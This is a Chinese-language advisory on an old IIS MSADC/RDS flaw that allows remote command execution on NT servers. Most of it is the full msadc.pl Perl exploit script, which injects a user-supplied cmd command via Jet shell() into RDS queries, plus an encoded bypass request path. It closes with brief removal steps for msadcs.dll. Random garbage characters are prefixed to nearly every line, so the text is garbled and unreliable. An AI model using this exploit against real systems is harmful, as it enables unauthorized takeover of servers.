IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z15=vsV 2pvby`P4 涉及程序:
tOte[~, Microsoft NT server
|eg8F$WU xi4b;U j 描述:
G$)tp^%] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[O} D^qp }'86hnW 详细:
Z\]LG4N? 如果你没有时间读详细内容的话,就删除:
6xY6EC c:\Program Files\Common Files\System\Msadc\msadcs.dll
}eI9me@Aa 有关的安全问题就没有了。
mKyF<1,m wAgVevE 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
tk:nth j^v<rCzc( 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
]Nw]po+ 关于利用ODBC远程漏洞的描述,请参看:
m5a'Vs B*E"yB\NV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I[gPW7&S@ WvoIh4] 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9$qw&j[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp -e?n4YO*\ VKw.g@BY 这里不再论述。
XR p60i6f lqgR4 ! 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2^75|Q TKbfZw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Tr4\ `a-i 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Yt{Z+.;9OI 5\O&pz@D L?P[{Ohh/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
^|vP").aQm Fp"c { #!perl
9b&;4Yq!f #
b$pCp`/MT # MSADC/RDS 'usage' (aka exploit) script
/J Y6S #
1}SON4U # by rain.forest.puppy
k_Sm ep #
7q 5 \]J[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?)-anoFyVW # beta test and find errors!
?' mP`9I W5()A,R use Socket; use Getopt::Std;
f_;tFP
B getopts("e:vd:h:XR", \%args);
rf 60' )7-mALyW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
WP Gp(Xw E7.{SGH} if (!defined $args{h} && !defined $args{R}) {
\d:Uq5d)0 print qq~
O3dQno Usage: msadc.pl -h <host> { -d <delay> -X -v }
Eh|6{LDn! -h <host> = host you want to scan (ip or domain)
0r[a$p>` -d <seconds> = delay between calls, default 1 second
W>c*\)Xk ! -X = dump Index Server path table, if available
UF\k0oLz -v = verbose
EM1HwapD -e = external dictionary file for step 5
D8xE"6T> Fo5UG2E& Or a -R will resume a command session
ACFEM9 [= F9(jx#J~t ~; exit;}
(KfQ'B+ a*_&[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
O-pH~E if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|5q,%9_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
D vN0h(? if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
paYS<8In $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G9#3
|B-? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
vXSA_"0t QW_v\GHx if (!defined $args{R}){ $ret = &has_msadc;
mq(K_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"jq6FT)O Sht3\cJ8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G=CP17&h6 . "cmd /c ";
!c0x^,iE $in=<STDIN>; chomp $in;
.<YfnW5/K $command="cmd /c " . $in ;
3RD+;^}q3 {A%&D^o) if (defined $args{R}) {&load; exit;}
u@+^lRGFh hOs~/bM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.)1u0 (? &try_btcustmr;
{}gL*2:EW$ *IF~ab2 print "\nStep 2: Trying to make our own DSN...";
$RHw6*COG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7C_U:x Dr(;A>?qG print "\nStep 3: Trying known DSNs...";
Ra^c5hP:.E &known_dsn;
ycEp,V;[Z :9q|<[Y^ print "\nStep 4: Trying known .mdbs...";
AT2D+Hi=E &known_mdb;
xa
!/. 1-<?EOYaE if (defined $args{e}){
!wKNYe print "\nStep 5: Trying dictionary of DSN names...";
YluvWHWi &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
up~p_{x)Q 5g'aNkF6> print "Sorry Charley...maybe next time?\n";
(tT%rj! exit;
w*(1qUF#% ,wHlU-% ##############################################################################
=BV_? s%m?Yh3 sub sendraw { # ripped and modded from whisker
M?n}{0E4 sleep($delay); # it's a DoS on the server! At least on mine...
mM+^v[= my ($pstr)=@_;
.\)ek[? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NID2$ p die("Socket problems\n");
s(=@J?7As if(connect(S,pack "SnA4x8",2,80,$target)){
AvuGAlP select(S); $|=1;
UD5hk print $pstr; my @in=<S>;
|h((SreO select(STDOUT); close(S);
u)/i$N return @in;
'g}Q@@b } else { die("Can't connect...\n"); }}
q%1B4 mF' qV``' _=< ##############################################################################
Tv%
Z|%* /"R{1 sub make_header { # make the HTTP request
<BBSC my $msadc=<<EOT
tqKX\N=5^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
iRv\:.aQ. User-Agent: ACTIVEDATA
4s <ZKU Host: $ip
m8gU8a"( Content-Length: $clen
uw`J5TND Connection: Keep-Alive
'X_%m~}N 78]( ZYJV ADCClientVersion:01.06
:D !/.0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<#T#+uO #,!/Cnqis --!ADM!ROX!YOUR!WORLD!
!Pd) Content-Type: application/x-varg
u1Wixjd| Content-Length: $reqlen
H~0B5Hl!F t-]~^s EOT
gA2]kZg ; $msadc=~s/\n/\r\n/g;
)Oj{x0{\Q return $msadc;}
sX`by\s, |~Vq"6` ##############################################################################
&iJvkt RTL@WI sub make_req { # make the RDS request
WtMDHfwqu\ my ($switch, $p1, $p2)=@_;
}\W^$e- my $req=""; my $t1, $t2, $query, $dsn;
0F&(}`V `2HNQiK'@ if ($switch==1){ # this is the btcustmr.mdb query
<*ME&cgh4 $query="Select * from Customers where City=" . make_shell();
DM(c :+K- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^X:g C9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
sHSg _/| 5hlS2fn elsif ($switch==2){ # this is general make table query
cNl$
vP83z $query="create table AZZ (B int, C varchar(10))";
-e *(+ $dsn="$p1";}
- KaU@t cA!o
xti elsif ($switch==3){ # this is general exploit table query
'^,|8A2 $query="select * from AZZ where C=" . make_shell();
uC 2{
Mmy $dsn="$p1";}
0qN+W&H o&?:pE elsif ($switch==4){ # attempt to hork file info from index server
l<s6Uu" $query="select path from scope()";
<VT|R~ $dsn="Provider=MSIDXS;";}
okbW. ~ [R/'hH5 elsif ($switch==5){ # bad query
!XF:.| $query="select";
g'.(te | $dsn="$p1";}
g6.Tx]?b$ (.g?|c $t1= make_unicode($query);
OX{2@+f# $t2= make_unicode($dsn);
^4a|gc $req = "\x02\x00\x03\x00";
h)X"<a++N $req.= "\x08\x00" . pack ("S1", length($t1));
X`k#/~+0 $req.= "\x00\x00" . $t1 ;
OkQtM
nq $req.= "\x08\x00" . pack ("S1", length($t2));
qu/b:P $req.= "\x00\x00" . $t2 ;
8fb<hq< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
a0&R! E; return $req;}
b5^-qc6X ;k,#o!> ##############################################################################
IvB)d}p iE"+-z\U sub make_shell { # this makes the shell() statement
)Tf,G[z&ge return "'|shell(\"$command\")|'";}
7KV0g1GQ TK Ec^ ##############################################################################
l3YS_WBSn [4\n(/ sub make_unicode { # quick little function to convert to unicode
GbBz;ZV%z, my ($in)=@_; my $out;
c7 O$< F for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5
r&n return $out;}
VP"C|j^I qW9~S0sl ##############################################################################
B>e},! ?&@a{- sub rdo_success { # checks for RDO return success (this is kludge)
'2S?4Z my (@in) = @_; my $base=content_start(@in);
p</V_BIW if($in[$base]=~/multipart\/mixed/){
;PWx#v+vwF return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1&utf0TX6q return 0;}
.J2tm2]"EZ ~s)
`y2Y ##############################################################################
<USr$ z_t%n<OvK sub make_dsn { # this makes a DSN for us
<io;d$=} my @drives=("c","d","e","f");
e]3b0`E print "\nMaking DSN: ";
c+G%o8 foreach $drive (@drives) {
sN@=Ri?\ print "$drive: ";
ko`KAU<T_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
SfGl*2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
C+aL8_(R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s.>;(RiJd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=_vW7-H return 0 if $2 eq "404"; # not found/doesn't exist
M}N[> ,2' if($2 eq "200") {
&h;J_Ps foreach $line (@results) {
hixG/%aO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
RH0J#6C/ } return 0;}
<PpW.1w &z;1Z ##############################################################################
}x?2 txuu U
oG+du[ sub verify_exists {
$5J~4B"%3 my ($page)=@_;
q#P@,|nc: my @results=sendraw("GET $page HTTP/1.0\n\n");
[Qn$i/`J return $results[0];}
Ydh+iLjhx
sf'+; ##############################################################################
GvT ~zNd *T0!q#R sub try_btcustmr {
3KN})*1 my @drives=("c","d","e","f");
nb #)$l my @dirs=("winnt","winnt35","winnt351","win","windows");
KDJ-IXoU fH?s~X] foreach $dir (@dirs) {
[?moS! print "$dir -> "; # fun status so you can see progress
Kb*X2#;* foreach $drive (@drives) {
L(_bf/@3 print "$drive: "; # ditto
&Q[|FO;[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:o}LJc)| $reqlenlen=length( "$reqlen" );
I+']av8e $clen= 206 + $reqlenlen + $reqlen;
tZ_D.syBAc B1(T-pr my @results=sendraw(make_header() . make_req(1,$drive,$dir));
xcE<|0N
: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
nlR7V. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
NrWgaPO)i =4:]V\o):' ##############################################################################
Q<2`ek ZoT8 sub odbc_error {
s=83a{#K my (@in)=@_; my $base;
)wfqGkr=m! my $base = content_start(@in);
C0
o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2~)r,., $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%%hG],w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]seOc],4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?j@(1",=& return $in[$base+4].$in[$base+5].$in[$base+6];}
R9)"%SO<y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\'-E[xNcWI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V8"m_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5PPaR|c3 e&ci\x% ##############################################################################
^#)]ICV tQmuok4"d sub verbose {
7s}Eq~ my ($in)=@_;
GfL:0 return if !$verbose;
.[C@p`DZ print STDOUT "\n$in\n";}
,]_<8@R p\ _& ##############################################################################
T!Z).PA# o' Kl+gw4 sub save {
0c$ ')`!m my ($p1, $p2, $p3, $p4)=@_;
8;"HM5+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
YzeNr* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ID8u&: close OUT;}
i{4J$KT 2su/I ##############################################################################
WADAp\& ){$*<#&H sub load {
S$ Z?T my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}ISc^W) t open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=.ReM_. @p=<IN>; close(IN);
X}_Gk5q* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#(G"ya $target= inet_aton($ip) || die("inet_aton problems");
V&Q_iE print "Resuming to $ip ...";
fOt?2Bh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ln"D .gpq if($p[1]==1) {
vMeB2r< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ZFNg+H/k $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
u{%dm5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
BY`vs+]XY if (rdo_success(@results)){print "Success!\n";}
Fb\ E39 else { print "failed\n"; verbose(odbc_error(@results));}}
:'X:cL elsif ($p[1]==3){
wL~-k
if(run_query("$p[3]")){
HJt@m
&H| print "Success!\n";} else { print "failed\n"; }}
yGvBQ2kYb elsif ($p[1]==4){
x|GkXD3 if(run_query($drvst . "$p[3]")){
nUf0TkA print "Success!\n"; } else { print "failed\n"; }}
>Q[3t79^ exit;}
^:Fj+d ,j e ##############################################################################
f:KZP;/[c \t?rHB3" sub create_table {
h8hyQd$! my ($in)=@_;
<N,:w`g# $reqlen=length( make_req(2,$in,"") ) - 28;
L-[A1#n $reqlenlen=length( "$reqlen" );
uo-1.[9ds $clen= 206 + $reqlenlen + $reqlen;
eNu]K,rT my @results=sendraw(make_header() . make_req(2,$in,""));
c)4L3W-x= return 1 if rdo_success(@results);
^"] ]rZ) my $temp= odbc_error(@results); verbose($temp);
e&-MP;kgW9 return 1 if $temp=~/Table 'AZZ' already exists/;
Fuy"JmeR
return 0;}
$nr=4'yZ vC!B}~RG ##############################################################################
^5rB/y, _t?# sub known_dsn {
~'w]%rh! # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fxknfgbg my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
UT_kw}1o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,ut7`_Fy "banner", "banners", "ads", "ADCDemo", "ADCTest");
kc/" : 22)` ;0 foreach $dSn (@dsns) {
QzVo U | print ".";
YT'olk next if (!is_access("DSN=$dSn"));
P71] Z if(create_table("DSN=$dSn")){
_f"KB=A_x print "$dSn successful\n";
rVZl v3 if(run_query("DSN=$dSn")){
tP4z#0r2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9xaieR print "Something's borked. Use verbose next time\n";}}} print "\n";}
REWW(.3o ;L[N.ZY! ##############################################################################
Q#zU0K*^ jr/IU=u*v sub is_access {
"P
yG;N!W my ($in)=@_;
wWQt $reqlen=length( make_req(5,$in,"") ) - 28;
1xjWD30 $reqlenlen=length( "$reqlen" );
z-_$P)[c $clen= 206 + $reqlenlen + $reqlen;
~Z' /b|x<3 my @results=sendraw(make_header() . make_req(5,$in,""));
~-
eB my $temp= odbc_error(@results);
5Zn: $?7 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
m{f+! return 0;}
aRy" _dZ2 |J$Bj? ##############################################################################
/<1zzeHRSD +h@ZnFp3 sub run_query {
oc;4;A-;`c my ($in)=@_;
DO6
p v $reqlen=length( make_req(3,$in,"") ) - 28;
17#t 7Yk $reqlenlen=length( "$reqlen" );
VI]~uTV $clen= 206 + $reqlenlen + $reqlen;
V-dyeb my @results=sendraw(make_header() . make_req(3,$in,""));
_6-N+FI return 1 if rdo_success(@results);
HT7I~]W my $temp= odbc_error(@results); verbose($temp);
-f["1-A return 0;}
lofP$ S/dj])g ##############################################################################
yM('!iG*/ GD%qrK? sub known_mdb {
{9vMc my @drives=("c","d","e","f","g");
BAojP1}+, my @dirs=("winnt","winnt35","winnt351","win","windows");
;:/C.%d
my $dir, $drive, $mdb;
zMh`Uqid my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'&/~Sh$% |_ OoD9,M # this is sparse, because I don't know of many
%LBf'iA my @sysmdbs=( "\\catroot\\icatalog.mdb",
}kSP p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ndu$N$7+ "\\system32\\certmdb.mdb",
b8**M'k "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
%E[ $np> S
9|^VU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8>`8p0I$+
"\\cfusion\\cfapps\\forums\\forums_.mdb",
\%_sL#? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b%7zu}F "\\cfusion\\cfapps\\security\\realm_.mdb",
b9VI(s> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
v%7Gh-P "\\cfusion\\database\\cfexamples.mdb",
M[cAfu "\\cfusion\\database\\cfsnippets.mdb",
qtuT%?wT@Z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
kRV]`'u, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
dF7`V J2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
W&HxMi "\\cfusion\\database\\smpolicy.mdb",
(_AU) "\\cfusion\\database\cypress.mdb",
z9w]{Zd_,d "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
NIHcX6Nw "\\website\\cgi-win\\dbsample.mdb",
q"Sja!-;| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
NjKC{L5S: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
wLxuSs| ); #these are just
.Hg{$SAC(w foreach $drive (@drives) {
`4wy
*!] foreach $dir (@dirs){
#'.
' |z foreach $mdb (@sysmdbs) {
ZB]234`0 print ".";
NR"C@3kD]o if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
xVTl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5b->pc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-@Z9h)G| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{4*5Z[ } else { print "Something's borked. Use verbose next time\n"; }}}}}
E {UhM q7 Z/q'^PB
p foreach $drive (@drives) {
yji>vJHu foreach $mdb (@mdbs) {
=3PZGdWD print ".";
lo-VfKvy if(create_table($drv . $drive . $dir . $mdb)){
5a4i)I63o print "\n" . $drive . $dir . $mdb . " successful\n";
%~P3t=r if(run_query($drv . $drive . $dir . $mdb)){
\d3 ~kq3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!Wj`U$]; } else { print "Something's borked. Use verbose next time\n"; }}}}
jOZ>^5} }
E8 5TCS1 AoY!f'Z ##############################################################################
W6):IW(E rNICK2Ah sub hork_idx {
1Se2@WR' print "\nAttempting to dump Index Server tables...\n";
(:R5"|]@<x print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`Om
W#\ $reqlen=length( make_req(4,"","") ) - 28;
u Yc}eMb $reqlenlen=length( "$reqlen" );
O&sU Pv $clen= 206 + $reqlenlen + $reqlen;
^!$=(jh. my @results=sendraw2(make_header() . make_req(4,"",""));
n`!6EaD if (rdo_success(@results)){
G?!8T91; my $max=@results; my $c; my %d;
*+(eH#_2/ for($c=19; $c<$max; $c++){
.g94|P $results[$c]=~s/\x00//g;
_#we1m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-s\R2_( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
uQKo2B0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
QcX&q%*0 $d{"$1$2"}="";}
wbI1~/ foreach $c (keys %d){ print "$c\n"; }
ilZQ/hOBH } else {print "Index server doesn't seem to be installed.\n"; }}
{asq[;] PKd'lo ##############################################################################
X{ :3UTBR ,;Uf>8~ sub dsn_dict {
Hs6Kki1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A@-U#UvN while(<IN>){
dj}|EW4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Yp\Y]pym next if (!is_access("DSN=$dSn"));
?1r<`o3l\ if(create_table("DSN=$dSn")){
eI%kxqc print "$dSn successful\n";
&qM8)2Y if(run_query("DSN=$dSn")){
(M{>9rk8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w-C%,1F,/ print "Something's borked. Use verbose next time\n";}}}
=E-o@#BS print "\n"; close(IN);}
O\6gw$ 5BK3ix*L ##############################################################################
Cxe(iwa. 1$^r@rP sub sendraw2 { # ripped and modded from whisker
/FjdcH= sleep($delay); # it's a DoS on the server! At least on mine...
G-,0mo my ($pstr)=@_;
OLV3.~T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>CwI(vXn die("Socket problems\n");
Eo6qC?5< if(connect(S,pack "SnA4x8",2,80,$target)){
7Sh1QDYZ print "Connected. Getting data";
tKds|0,j| open(OUT,">raw.out"); my @in;
CWJN{ select(S); $|=1; print $pstr;
f{uS while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;f=.SJF close(OUT); select(STDOUT); close(S); return @in;
=5:S"WNj } else { die("Can't connect...\n"); }}
1=e(g#Ajn\ lXEnm-_ ##############################################################################
;|W:,a{kS b|iIdDK sub content_start { # this will take in the server headers
&VcO,7 A| my (@in)=@_; my $c;
K /%5\h for ($c=1;$c<500;$c++) {
~Q5]?ZNX if($in[$c] =~/^\x0d\x0a/){
[)il_3t if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
^/#8 " else { return $c+1; }}}
0uIBaW3s return -1;} # it should never get here actually
?mN!9/DIc yo%Nz" ##############################################################################
SR_-wD Tt=;of{ sub funky {
%a:T9v my (@in)=@_; my $error=odbc_error(@in);
@Vy Ne(U if($error=~/ADO could not find the specified provider/){
l}k'ZX 4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Z,"YMUl' exit;}
FlY"OU* if($error=~/A Handler is required/){
2fNNdxdbT print "\nServer has custom handler filters (they most likely are patched)\n";
HrMbp exit;}
EQX<<x" if($error=~/specified Handler has denied Access/){
"-j96
KD print "\nServer has custom handler filters (they most likely are patched)\n";
=kCiJ8q| exit;}}
}^P"R[+4u 2|U6dLZ! ##############################################################################
3+q-yP#X A,(9|#%L sub has_msadc {
r;E5e]w*- my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
V#R; -C my $base=content_start(@results);
ZI8@ 6 L\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^(@]5$^Z return 0;}
5=}CZYWB (f~}5O< ########################
hZ.](rD e@S\7Ks q8,,[R_ 解决方案:
k~F,n 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
e2g`T{6M 2、移除web 目录: /msadc